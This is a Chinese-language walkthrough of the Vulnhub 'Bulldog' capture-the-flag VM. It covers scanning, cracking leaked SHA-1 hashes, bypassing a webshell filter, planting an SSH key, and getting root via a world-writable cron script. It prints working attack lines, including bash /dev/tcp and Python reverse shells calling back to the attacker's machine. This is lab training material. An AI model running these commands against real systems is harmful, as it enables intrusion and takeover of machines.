WriteUp|CTF-bulldog

这将是一个有趣的渗透过程,靶机镜像信息:

  • 名称 - BULLDOG
  • 下载链接 - vulnhub|bulldog-1,211
  • 创建日期 - 2017.8.28
  • 大小 - 761MB
  • 格式 - OVA(Virtual Box)
  • 操作系统 - Linux

在靶机详情页注明了I'd highly recommend running this on Virtualbox,无法在 VMWare 中导入,如果能够解决该问题的 Hacker,可以在评论区留言。除了靶机,我们还需要在 VBox 5.2 中运行 kali 作为攻击机,Info:

两台 VM 采用桥接方式获得路由器自动分配的 IP。

  • Bulldog VM IP - 192.168.0.108
  • Kali Linux IP - 192.168.0.109

0x00 发现 IP

当安装好虚拟机之后,首先要做的就是发现靶机的 IP 地址。netdiscover是一款基于 ARP 的局域网 IP 发现工具,使用它对目标网段进行探测,发现目标主机 IP。

1
root@kali:~# netdiscover -r 192.168.0.0/24

这里用 -r 参数指定了一个网络范围。
1b15141189636dc87d862be69c891ba7.png

0x01 端口扫描

现在我们用 Nmap 工具扫描目标主机的开放端口。

1
root@kali:~# nmap -O -A 192.168.0.108

7adaa64e68eea7bdf5226daab7a66077.png
可以清楚的看到目标主机开放了 23 、80 和 8080 这三个端口。23 端口是 telnet 的默认端口,80 端口和 8080 端口经常被用作提供 web 服务。

0x02 端口分析

这里我们借助 nc 以及其他一些工具对每个端口进行分析。

For Port 23—在终端中输入 “nc -nv 192.168.0.108 23”
7b53c82444248e7704544e8ca9d31785.png
这里显示 23 是一个远程端口,运行着 openssh 服务。
既然如此,那么尝试在终端中输入“ssh -v test@192.168.0.108 -p 23”
c3ecc6e7fca8509d33ce8bd3450e4ae3.png

For Port 80—在终端中输入 “nc -nv 192.168.0.108 80”
8ac738616b21bd30a28bb3c77125a2e9.png
使用搜索引擎搜索“WSGIServer/0.1 Python /2.7.12“,结果显示这是一个 Django Web 服务器。

For Port 8080—在终端中输入 “nc -nv 192.168.0.108 8080”
55d79b8bc125f3f095afe164321538c2.png
结果和 80 端口返回的头部信息一模一样,同样运行了一个 Django Web 服务。

0x03 深度分析

就目前情况看,只能对 80 和 8080 端口下手,在浏览器中打开 http://192.168.0.108:80http://192.168.0.108:8080。两个网站一模一样,所以选择其中一个入手,网页中包含了一张 bulldog 图片和文字,其他再也没有什么了。
2ca4c5ba3b41e6cbaef9a6ec3bf9e3bc.png
如此的话,我们不如先用基本的 web 漏洞扫描工具试试,这里将使用开源免费的 Nikto 工具。

1
root@kali:~# nikto -host 192.168.0.108 -port 80

e0b763a8de7e8f77b80a811fd515fdd9.png
从 nikto 的扫描结果中,我们得到一个很有意思的 web 目录 /dev/ ,浏览器中访问 http://192.168.0.108/dev/
8db8782f86a96407239a7507b9b759d7.png
这个网页放了一个显眼的 Web Shell 链接和一些邮箱,根据上下文这些邮箱可能会有用。
ca8c2a0a3f8143d31fd392e9967ce8c3.png
这个 Web Shell 看来是需要认证。那我们把心思放在邮箱上,先查看 /dev/ 目录的源码。
3b9c78417ae36fac332229567f0e99c0.png
每个邮箱后都有一个哈希值,这很可能是 password。我们使用 CURL 命令把这部分提取出来。
876ff1d4d0c63f3616058fca98e7fd2a.png

1
2
3
4
5
6
7
Team Lead: alan@bulldogindustries.com<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
Back-up Team Lead: william@bulldogindustries.com<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
Front End: malik@bulldogindustries.com<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
Front End: kevin@bulldogindustries.com<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
Back End: ashley@bulldogindustries.com<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
Back End: nick@bulldogindustries.com<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
Database: sarah@bulldogindustries.com<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->

0x04 破解 HASH 值

破解它们,就需要知道是哪种算法生成的这些值,我们借助一个开源的工具“hash-identifier”来识别哪种 hash。

1
root@kali:~# hash-identifier

516a7012e18dea9675e605c1be4fdeae.png
哦,看这样子像是 SHA-1 哈希,现在就好办了,“John-The-Ripper“是时候出场了。在交给 John 之前,我们需要先对密文进行一下格式化成 key:salt 的形式。

1
2
3
root@kali:~# curl -s 192.168.0.108/dev/ | grep @ > hashbulldog
root@kali:~# sed -i 's/://g' hashbulldog && sed -i 's/<br><!--/:/g' hashbulldog && sed -i 's/-->//g' hashbulldog && sed -i 's/<br>//g' hashbulldog
root@kali:~# cat hashbulldog

37ea927dc598673f4cf0a2fe671dc364.png
然后我们需要用到 kali 系统内置字典“rockyou..txt”,使用前需要解压出来。

1
2
root@kali:~# locate rockyou.txt
root@kali:~# gunzip /usr/share/wordlists//rockyou.txt.gz

e15d1dea09cc990590a5795347abe1ed.png
接下来,我们来试试“John-The-Ripper”,在终端输入这些命令。

1
root@kali:~# john hashbulldog --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt

936145419c774e6bad4d1adeeca1b4aa.png
似乎并没有全部破译成功,仅仅破译出了两条。

1
2
bulldog (Back End nick@bulldogindustries.com)
bulldoglover (Database sarah@bulldogindustries.com)

大胆猜测:用户名为”nick”和“sarah”,密码分别对应“bulldog”和“bulldoglover”。
并没有发现有登录的地方,这时候就需要使用其他更有针对性的 web 扫描工具。我们既然找的是登录页面,那么此时需要一个能够找出对应路径的工具。DIRB 便能够胜任,利用它可以根据字典枚举网站目录,发现有价值的地址,更方便的是它本身就自带了一些字典。
940f9d90fb3fca1a0fc7d724bc9d28b1.png

1
2
3
4
5
6
==> DIRECTORY: http://192.168.0.108/admin/                                                         
==> DIRECTORY: http://192.168.0.108/dev/
==> DIRECTORY: http://192.168.0.108/admin/auth/
==> DIRECTORY: http://192.168.0.108/admin/login/
==> DIRECTORY: http://192.168.0.108/admin/logout/
==> DIRECTORY: http://192.168.0.108/dev/shell/

结果显示,管理员登录页面在 http://192.168.0.108/admin/
67a2568301e5aefde470263cc910bd75.png
用“nick:bulldog”或者“sarah:bulldoglover”尝试登录。
dbfc0d331d8dac43324a0f823f4d9587.png
然后我们再去访问 http://192.168.0.108/dev/
![8db8782f86a96407239a7507b9b759d7.png],成功 get 到 webshell。
5332d31ce21b03006bc75d79714a7dcd.png
然后你会发现,这个网站加了过滤,一些敏感命令没办法使用。
19565c3c5ea693257bbe0424d5ed9d53.png
我们必须想办法绕过防火墙取得最终权限,经过一番琢磨,用 echo 命令打包可以实现绕过,例如:echo whoami|sh
c7aabedc9b9896b474b75adaa4c0ce36.png
下面这个脚本,将为我们执行远程命令提供便利。

1
2
3
4
5
6
7
8
9
10
#!/bin/sh

CMD=`echo $1|base64`

curl -s "http://192.168.0.108/dev/shell/" \
-H 'Host: 192.168.0.108' \
-H 'User-Agent: scriptboy.cn' \
-H 'Cookie: csrftoken=nDqhgmTirEtckx2q5A919JsrkyLrQJhR; sessionid=ubr22lt0ob03dmg8nwy7m1gc99nql8gx' \
--data "csrfmiddlewaretoken=nDqhgmTirEtckx2q5A919JsrkyLrQJhR&command=echo'$CMD'|base64 -d|sh" \
|tail -n +40|head -n -19

有一些特殊字符可能在传输过程中会被转义,所以本地 base64 编码远程 base64 解码执行命令。
9e481f4412d51387232f8c433f18bb1e.png
当务之急是取得 ssh 权限,通过 webshell 把我们生成的 ssh 公钥上传到目标主机即可,我们先来看看目标主机的默认公钥位置有无变动。

1
root@kali:~# ./webshell.sh 'cat /etc/ssh/sshd_config | grep AuthorizedKeys'

28fef7123b7c6190807513227a41a262.png
配置文件中看到,公钥路径为默认。在创建公钥之前,需要在 /home/django 下建立 .ssh 文件夹。

1
root@kali:~# ./webshell.sh "mkdir /home/django/.ssh"

011e2e773965612f39ce680b6faf99aa.png
然后本地生成 ssh 秘钥对,把 ~/.ssh/id_rsa.pub 上传到目标机 /home/django/.ssh/authorized_keys

1
2
3
root@kali:~# ssh-keygen 
root@kali:~# cd .ssh/;ls -al
root@kali:~/.ssh# ../webshell.sh "echo $(cat id_rsa.pub)>/home/django/.ssh/authorized_keys"

fc209a393d5dba0516114faa10098280.png
如果一切顺利的话,现在应该是可以尝试 ssh django@192.168.0.108 -p23 远程连接了。
e23041e08904cc1ffd9bb21b8e1f52ca.png
除了 ssh,还可以反弹 shell 到本地,本地执行 nc -lvp 1337 监听本地端口 1337 后,在 web 页面执行 echo 'bash -i >& /dev/tcp/192.168.0.109/1337 0>&1'|bash,就可以弹回一个 shell。
ba994bcfb30924876851a33776797fdf.png
尝试过使用脚本执行 ./webshell.sh 'bash -i >& /dev/tcp/192.168.0.109/1337 0>&1',但是并没有成功,到目前为止还不知到原因,若恰巧某位 hacker 知晓烦请留言相告。
现在,我们得到了 django 的权限,下一步就是想办法提权,这就需要不断地去探索发现整个系统的疏漏之处。
先找一下有没有所有者为 root,普通账户有读写权限的文件。

1
django@bulldog:~$ find / -perm -7 ! -type l -ls 2>/dev/null

-perm -7指定权限不小于 007, ! type l 表示查找非符号链接类型的文件, -ls 表示显示详细文件信息。
ff9efa2750e3cf10fce2084f18b03e8f.png
结果中看到了一个明显的 python 脚本,隶属于 root 账户,777 权限。我们需要对这个文件一探究竟,文件中的内容非常简单,只有几行注释。

1
2
3
4
5
6
django@bulldog:~$ cat /.hiddenAVDirectory/AVApplication.py 
#!/usr/bin/env python

# Just wanted to throw this placeholder here really quick.
# We will put the full AV here when the vendor is done making it.
# - Alan

哦,看来我们还需要找一下与这个脚本关联的程序。

1
django@bulldog:~$ grep -rnw '/' -e 'AVApplication.py' 2> /dev/null

cdac6948276da3e85f344ecc9b7137c5.png
Oh, That’s great! 到这里,事情就要完美结束了,只需要加个一句话马追加到 AVApplication.py

1
django@bulldog:/.hiddenAVDirectory$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.109",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> AVApplication.py

当然,同时也要在本地做好监听的准备。

1
root@kali:~# nc -lvp 1338

99315a6572b7d89cb659b7cc221a76a7.png
好的,虽然 root 权限已经拿到,但是看到 congrats.txt 提示有两条方法得到 root 权限。
12ea2a54da0472d7218a5b6744785cd8.png
由于博客篇幅限制,这里长话短说,直接给出关键文件。

1
django@bulldog:~$ strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

bf262885245b73e6e37d84d9d483bc43.png
摘取出看起来很可疑的部分。

1
2
3
4
SUPERultH
imatePASH
SWORDyouH
CANTget

所有 H 去掉,得到“SUPERultimatePASSWORDyouCANTget”,然后去进行尝试。
7c74cb411062ba563db44fb467edd318.png
通过 sudo su - root 拿到 root,所以那是 django 账户的密码。通过这么多的操作和训练,相信只要有耐性有恒心就能破万法。





root@kali ~# cat 重要声明
本博客所有原创文章,作者皆保留权利。转载必须包含本声明,保持文本完整,并以超链接形式注明出处【Techliu】。查看和编写文章评论都需翻墙,为了更方便地获取文章信息,可订阅RSS,如果您还没有一款喜爱的阅读器,不妨试试Inoreader.
root@kali ~# Thankyou!